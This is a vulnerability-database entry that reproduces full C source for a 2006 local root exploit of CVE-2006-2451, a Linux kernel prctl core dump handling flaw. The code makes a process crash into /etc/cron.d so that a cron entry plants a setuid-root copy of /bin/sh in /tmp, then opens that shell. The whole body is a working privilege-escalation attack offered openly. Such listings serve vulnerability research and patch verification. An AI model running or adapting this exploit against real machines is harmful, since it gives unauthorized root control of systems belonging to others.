Lucene search
K

Linux Kernel 2.6.13 <= 2.6.17.4 - sys_prctl() Local Root Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 45 Views

Linux Kernel PRCTL Core Dump Handling - Local r00t exploit for 2.6.

Related
Code

                                                /*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (&#62;= 2.6.13 && &#60; 2.6.17.4)           */
/* By:                                               */
/* - dreyer    &#60;[email protected]&#62;   (main PoC code)   */
/* - RoMaNSoFt &#60;[email protected]&#62; (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include &#60;stdio.h&#62;
#include &#60;sys/time.h&#62;
#include &#60;sys/resource.h&#62;
#include &#60;unistd.h&#62;
#include &#60;linux/prctl.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;signal.h&#62;

char *payload=&#34;\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n&#34;;

int main() { 
    int child;
    struct rlimit corelimit;
    printf(&#34;Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n&#34;);
    printf(&#34;By: dreyer & RoMaNSoFt\n&#34;);
    printf(&#34;[ 10.Jul.2006 ]\n\n&#34;);

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf(&#34;[*] Creating Cron entry\n&#34;);

    if ( !( child = fork() )) {
        chdir(&#34;/etc/cron.d&#34;);
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf(&#34;[*] Sleeping for aprox. one minute (** please wait **)\n&#34;);
    sleep(62);

    printf(&#34;[*] Running shell (remember to remove /tmp/sh when finished) ...\n&#34;);
    system(&#34;/tmp/sh -i&#34;);
}

// milw0rm.com [2006-07-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
EPSS0.06758
45